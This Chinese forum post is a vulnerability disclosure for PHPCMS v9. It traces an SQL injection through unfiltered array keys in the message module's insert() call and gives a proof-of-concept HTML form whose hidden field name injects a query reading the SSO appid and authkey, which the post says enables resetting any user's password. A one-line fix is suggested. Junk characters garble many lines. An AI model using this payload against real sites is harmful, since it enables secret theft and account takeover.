|
|
简要描述:
5 D& i( i6 g7 s4 ?! I
# z( U9 K" j- Q2 l第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
: X5 S$ P9 x! r! ~& s( V& N! n8 g1 S8 ` _6 i9 g8 c8 f
明天再更新下一个漏洞。# T9 J8 ]; ^! {! |3 S+ |
详细说明:
/ K0 I. z a; X6 j, H2 l在/phpcms9/phpcms/modules/message/index.php中有代码如下:
. o4 p9 ]% q/ r
4 `( `# n7 L9 b* `( E8 d2 u$messageid = $this->message_db->insert($_POST['info'],true);5 l) ^% v2 W- `. ^5 ]' k0 f
5 y0 a9 c% K# p. Q! s. p+ u
V8 v: V- [9 F0 z G* K8 k% O
insert方法是key value的,代码如下:
. G N. M) ~! C5 E# l- w( O# O* @
" C/ ?8 Y- s" s3 A4 W* k$ H p" qpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
4 r; v/ x% R" \$ U4 R& ` if(!is_array( $data ) || $table == '' || count($data) == 0) {
& a' t9 ?) K, p$ k' T6 b* G return false;
& k/ I! f; w$ {6 e+ P) G }
8 `; |$ R. g" K / _8 b/ y$ N& W% t( @4 S- l4 i2 J
$fielddata = array_keys($data);+ F3 x' Q x1 ^+ U! p
$valuedata = array_values($data);0 s/ o( m- Y& _& @" t J# I5 O, m
array_walk($fielddata, array($this, 'add_special_char'));2 `& F- O. w) T
array_walk($valuedata, array($this, 'escape_string'));. h2 l0 L2 H& ^
( M& F7 k' | N8 \2 f( | $field = implode (',', $fielddata);8 J" f4 b: h1 x" X. J; \# k
$value = implode (',', $valuedata);
6 P" \- v/ ?1 m, k8 _# [5 |; m- q+ r% E" A
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# u* m! P7 ~' w3 i8 {1 S $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
* ~* w* s# j6 | $return = $this->execute($sql);' @5 O9 {* ~* p) E( @
return $return_insert_id ? $this->insert_id() : $return;% j' Y& r# \# ~/ [. W Q S
}
5 F( S0 t, y: Y H
, s! x+ m1 a5 p2 N# z e2 p: m- H$ P# A
嗯,很遗憾的是
& M0 ^# q4 S! D8 `# c; X0 j1 |/ F6 G, \8 |
array_walk($fielddata, array($this, 'add_special_char'));6 U$ B) O. o- e, k8 z
& p) _+ B1 _/ j( ^' H- a. }0 ^
, @, X- r1 H% i) ~* T' u% q
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。! n; W+ F2 Q# e' _; c
( `) l& |) d8 \+ z
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。: M, K) j3 M* Z
* H! p1 X1 }3 S9 `( Q
漏洞证明:
g b! H. R" O6 [8 }读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
; M9 m! s" ^' |
" |% {) w& E1 T+ m" o, l( q) h* h# v- w" e( O0 j) e) Q/ k) R3 `' p
表单如下:用户名什么的得自己改一改。# @! E6 j8 [9 O4 V& x) t, ^- t
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
9 @1 L! S( R+ V5 P9 r: w3 M6 e& }$ Y<table width="100%" cellspacing="0" class="table_form">+ P7 L( |' r. R) Y9 Q
<tr>0 c8 A4 U4 c( s7 h) Q
<th>标 题:</th>- T: K* Y! p% ~' i8 p, P
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>$ D3 q$ S$ ^) \. Q4 {
</tr> / z; E% K" c6 l9 V
<tr>
' ]" F7 p( T/ O9 g. }<th>内 容:</th>1 ^& t+ o" o" Z) J c
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
i" O4 j8 Y/ |* D+ f' @' i</tr>+ ^; c" L8 d' J2 z8 q* |) V. l Q
<input type="hidden" name="info[replyid]" value="2" /> 5 {/ M: ^* w# [' s
<input type="hidden" name="info[send_to_id]" value="cc" /> : k3 t r/ @ u) P2 C! H' w; N
<input type="hidden" name="info[send_from_id]" value="hh">5 |% c/ L& I2 \3 L& _
<!-- 漏洞的利用重点在这里开始 -->( R8 R. v3 c5 V
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
) x" A6 C/ ], x$ ]- T6 _<!-- 漏洞的利用重点在这里结束 -->
) n L$ }; e' S9 F5 a# l: T<tr>
$ E8 e, L$ q' N<th>验证码:</th>
8 q. ]( d) g$ V5 k7 h; P6 A<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>8 _& X& Q/ k; |) M8 m
</tr>) Z6 d3 I. U1 L" i2 T
<tr>
1 w& O* c7 |$ B3 m<td></td>
, b. ^7 I5 T5 M9 X, g2 t: I<td colspan="2"><label>
. F. E* M z2 D/ R- `# _<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>5 F( S- l# e$ k/ i3 i. C" z9 t, R
</label></td>
$ W+ V2 O. D5 t</tr>) ?9 P' T3 K$ w
</table>5 _5 Y9 `( c* w0 V& T! A
</form>* _5 I! d1 N2 C" o b N9 U- T
在add_special_char函数内对key做过滤就可以了。
2 S% j0 L; W1 `: C% T+ Y9 u% k' d2 W' Y- ?2 t2 i8 H
, Y/ A7 ?/ s1 v+ \0 p) W9 H
# D, d( j& x' [) \- ]& N |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|